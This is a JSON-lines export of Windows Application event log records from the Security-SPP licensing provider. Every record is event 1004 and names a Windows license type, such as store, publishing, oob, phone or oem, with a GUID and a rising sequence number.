{"@timestamp":1646920097949,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Private)","162ace09-02f3-4993-9916-39d9c64ba3f5"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168093}}
{"@timestamp":1646920097965,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Public)","ab9c860f-44fd-477f-a55f-6e8d0cdad603"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168094}}
{"@timestamp":1646920097965,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Private)","f856e1fa-d7e9-4943-be8e-7586e47ed1a1"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168095}}
{"@timestamp":1646920097965,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Public)","b8c3aad2-cae7-4545-90a2-bb4e5a677875"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168096}}
{"@timestamp":1646920097965,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Private)","831c4801-a2c6-4089-a83c-98b4d4ca70c8"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168097}}
{"@timestamp":1646920097980,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Public)","1dad336f-6a98-41d7-b155-c51322ed5db2"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168098}}
{"@timestamp":1646920097980,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Private)","13ba5e43-694a-4bae-a5d4-38a08e90be32"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168099}}
{"@timestamp":1646920097996,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Public)","609ad4cc-1984-4005-8c66-c1627833fd3a"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168100}}
{"@timestamp":1646920097996,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Private)","2815e63e-5cf9-4754-be1a-f9e3193670f2"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168101}}
{"@timestamp":1646920097996,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Public)","3713d77f-23a4-4f72-b0cb-c38f98c4b82f"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168102}}
{"@timestamp":1646920097996,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Private)","ec3f6f8d-65b5-40f6-8803-734720a6557f"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168103}}
{"@timestamp":1646920098012,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Public)","55af8451-5c4d-4e54-a884-b21c86c6db51"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168104}}
{"@timestamp":1646920098012,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Private)","91200399-96f8-4d94-968a-b9c9f32f6516"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168105}}
{"@timestamp":1646920098012,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Public)","f85979ba-4749-4baf-a14f-fe59ee3412bc"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168106}}
{"@timestamp":1646920098012,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Private)","166c65a5-223f-44ab-8a5d-b55c0792cc34"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168107}}
{"@timestamp":1646920098027,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Public)","0537b713-1d2d-4928-8fa2-a7be89ec1438"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168108}}
{"@timestamp":1646920098027,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Private)","4401683f-9be5-4a93-98fa-6e15f78abfb5"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168109}}
{"@timestamp":1646920098027,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Public)","f8e8001f-49d5-469e-92d7-36299bbb84de"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168110}}
{"@timestamp":1646920098027,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Private)","68f80067-2c46-4a29-826b-9c9b726a5529"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168111}}
{"@timestamp":1646920098043,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Public)","cde3c7cc-9a28-4a0b-8882-f0ab8c83281a"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168112}}
{"@timestamp":1646920098043,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Private)","0ccbeb95-906f-46f7-bbf4-f3749bfa7c05"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168113}}
{"@timestamp":1646920098043,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Public)","6bdd0327-38a3-4940-9c71-bccafb584123"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168114}}
{"@timestamp":1646920098043,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Private)","92dde3f3-ef25-4ee8-9e46-9918aa4f3738"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168115}}
{"@timestamp":1646920098058,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Public)","3cc1391e-e630-474e-8eb0-08eb21494c62"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168116}}
{"@timestamp":1646920098058,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Private)","30139101-1c1b-4c6d-a374-5f9e856276dd"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168117}}
{"@timestamp":1646920098058,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Public)","f8e300e3-23d2-4e2e-b8fa-17656ec875fb"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168118}}
{"@timestamp":1646920098058,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Private)","2e2f4cbb-7210-412c-9c6c-15fc2e484149"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168119}}
{"@timestamp":1646920098074,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Public)","d1aa10d8-d2c6-4702-9384-3dedec882470"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168120}}
{"@timestamp":1646920098074,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Private)","15ffbfbc-89ce-4690-bc27-4b0f99565772"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168121}}
{"@timestamp":1646920098074,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Public)","98c96c47-1e59-4d23-b0e6-a5f50f813f17"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168122}}
{"@timestamp":1646920098074,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Private)","d0ac177c-7c41-4556-9469-8626406229c3"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168123}}
{"@timestamp":1646920098090,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Public)","9542a2dd-586f-4a6c-b9f9-db6a950841bb"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168124}}
{"@timestamp":1646920098090,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Private)","3010582a-cd3f-4528-8dea-f3f9fb391806"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168125}}
{"@timestamp":1646920098090,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Public)","508aa528-0504-4a9f-b80e-d93180abed4e"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168126}}
{"@timestamp":1646920098090,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Private)","faf2fa66-b04e-4748-b495-40a94df4d0bc"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168127}}
{"@timestamp":1646920098105,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Public)","5351c9a5-acfa-49ea-b9a7-1505950f050d"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168128}}
{"@timestamp":1646920098105,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Private)","63cb6761-4afb-417d-b6f7-a0e7cb771f31"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168129}}
{"@timestamp":1646920098105,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Public)","da2b8334-bd59-45e1-b7fe-9d7f0cab5398"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168130}}
{"@timestamp":1646920098105,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Private)","a6669524-1aff-47e6-95fc-d4345ae39c3e"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168131}}
{"@timestamp":1646920098121,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Public)","0ed060d0-8b32-4eb4-afb4-9968b1ebb398"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168132}}
{"@timestamp":1646920098121,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Private)","5fdf2505-391c-462a-b58b-0f5796bc9315"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168133}}
{"@timestamp":1646920098121,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Public)","ea65a0a6-ba78-4f7f-a5fc-9c290400db25"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168134}}
{"@timestamp":1646920098121,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Private)","c4fd9fc3-e71f-468d-a49e-8b626f004e1e"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168135}}
{"@timestamp":1646920098136,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oem License (Public)","42fde513-0430-4e4f-9e7b-8f1d30c44d20"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168136}}
{"@timestamp":1646920098136,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oem License (Private)","ebdbdad2-c649-4a52-8a07-c77a47b843ad"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168137}}
{"@timestamp":1646920098136,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Public)","5f876cc2-0ccb-4d57-98de-9ba33776c8e1"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168138}}
{"@timestamp":1646920098136,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Private)","30608ea8-aefa-4c63-baec-da2a55d107da"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168139}}
{"@timestamp":1646920098152,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oem License (Public)","7f33b49c-0ac8-4716-b71e-7824d111dce7"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168140}}
{"@timestamp":1646920098152,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oem License (Private)","7527151b-1279-4beb-986e-443856b311fb"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168141}}
{"@timestamp":1646920098152,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Public)","867429dc-f346-4263-a40a-6e29c513175d"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168142}}
{"@timestamp":1646920098152,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Private)","aeaf3690-0f15-438d-b826-3f3833e22d18"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168143}}
{"@timestamp":1646920098168,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Public)","1dfef926-0586-4f07-995c-ee27d04d236d"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168144}}
{"@timestamp":1646920098168,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Private)","0ff5a73d-928e-40bf-8cac-befb0de55eb5"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168145}}
{"@timestamp":1646920098168,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Public)","150e6be4-5492-455d-8faa-787cef236d63"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168146}}
{"@timestamp":1646920098168,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Private)","7bc53b2f-5d49-4903-be48-1a946039e945"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168147}}
{"@timestamp":1646920098183,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Public)","2a83d00e-c50e-4d22-9dce-6af67bbeb391"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168148}}
{"@timestamp":1646920098183,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Private)","502674c3-08cc-42f0-ab71-0ee64b61dbb4"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168149}}
{"@timestamp":1646920098183,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Public)","4ff82eb7-5a31-4c16-b7f7-374ce041e776"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168150}}
{"@timestamp":1646920098199,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Private)","0a650adb-9065-4736-835a-6ae89cfcd070"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168151}}
{"@timestamp":1646920098199,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Public)","62ac3ecd-c68a-4c0b-b840-8b4e1c293d90"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168152}}
{"@timestamp":1646920098199,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Private)","3b0c8670-d7c8-49d2-8d86-8098e9ce0f98"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168153}}
{"@timestamp":1646920098199,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Public)","db40f864-1063-4a71-9d1a-6d7e65acf20f"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168154}}
{"@timestamp":1646920098215,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Private)","d860de86-7221-46af-acee-94cc69990345"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168155}}
{"@timestamp":1646920098215,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Public)","87751849-d4e3-42c3-bad1-8d5971a87b4a"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168156}}
{"@timestamp":1646920098215,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Private)","92df30d6-d810-4738-8a34-53379b66f2d9"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168157}}
{"@timestamp":1646920098215,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Public)","b40fd293-8d7d-42f7-b5b0-0fb624d000e8"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168158}}
{"@timestamp":1646920098230,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Private)","66054826-360c-4567-aba6-cf73e716c237"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168159}}
{"@timestamp":1646920098230,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Public)","ed7024b1-67cf-48ce-a281-27a343807a01"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168160}}
{"@timestamp":1646920098230,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Private)","9f745191-96ab-4870-9997-97765979f78f"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168161}}
{"@timestamp":1646920098246,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Public)","52f1ee02-14ab-47f3-9f5e-1ceb9555d924"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168162}}
{"@timestamp":1646920098246,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Private)","6d385757-c7aa-4208-a396-6e5dcf4f8288"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168163}}
{"@timestamp":1646920098246,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Public)","551040a3-c4b8-4c7b-b2bf-057e3a02e5cc"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168164}}
{"@timestamp":1646920098246,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Private)","15d3c09e-146b-4457-8170-aa5f1fd15ce1"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168165}}
{"@timestamp":1646920098261,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Public)","cd00cf91-8f78-4f38-92ed-f3a69f34963a"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168166}}
{"@timestamp":1646920098261,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Private)","3a98ffcd-b3ee-49d9-9020-faad53d84a1e"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168167}}
{"@timestamp":1646920098261,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Public)","a01a574a-bf9f-4ebd-8956-eaf1e8c8ceec"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168168}}
{"@timestamp":1646920098261,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Private)","58d9bfa3-ca14-4382-b421-5fbaece72532"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168169}}
{"@timestamp":1646920098277,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Public)","62b248d7-7cd8-4d80-9c1e-b15585e8ebf4"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168170}}
{"@timestamp":1646920098277,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Private)","83106d87-083b-4e8b-8458-fdfa73b0861e"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168171}}
{"@timestamp":1646920098277,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Public)","e9fb6b48-05a2-413b-8bd1-5ddd66d9664b"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168172}}
{"@timestamp":1646920098277,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Private)","5145df5d-7d32-46b4-9d60-c8629d0e2cb8"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168173}}
{"@timestamp":1646920098293,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Public)","cdde542a-d0fc-4aeb-90d8-ff95e82bb3f7"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168174}}
{"@timestamp":1646920098293,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Private)","bf228b4d-f84c-440c-963f-61194af2fdb4"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168175}}
{"@timestamp":1646920098293,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Public)","ebb0c436-8378-4fba-8a75-f5ed63ad26e8"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168176}}
{"@timestamp":1646920098308,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Private)","dd3789c4-1115-4ba4-928a-e6710be8aeb7"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168177}}
{"@timestamp":1646920098308,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Public)","feacc32e-676a-41ef-83fa-ecc4f70ec991"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168178}}
{"@timestamp":1646920098308,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Private)","1c2abf0f-ef87-45d8-a182-3ff9459ae162"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168179}}
{"@timestamp":1646920098324,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Public)","c7eab151-60e9-40d6-a685-a4ba3fe75a76"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168180}}
{"@timestamp":1646920098324,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Private)","1df92aec-53aa-40e4-9246-2a5a82cb85ee"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168181}}
{"@timestamp":1646920098324,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Public)","27065638-ae78-47e2-944b-92f1a82047c5"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168182}}
{"@timestamp":1646920098324,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Private)","f8fe9462-6c20-4fbf-a128-bd42e36f3fd1"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168183}}
{"@timestamp":1646920098340,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Public)","f01c514d-c5f0-4715-9412-9532ac9ca23c"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168184}}
{"@timestamp":1646920098340,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Private)","c758fd29-1d17-4ba2-9b46-f4b291ac3a82"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168185}}
{"@timestamp":1646920098355,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Public)","2e9af5ce-cee7-4823-b676-887ea82807f6"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168186}}
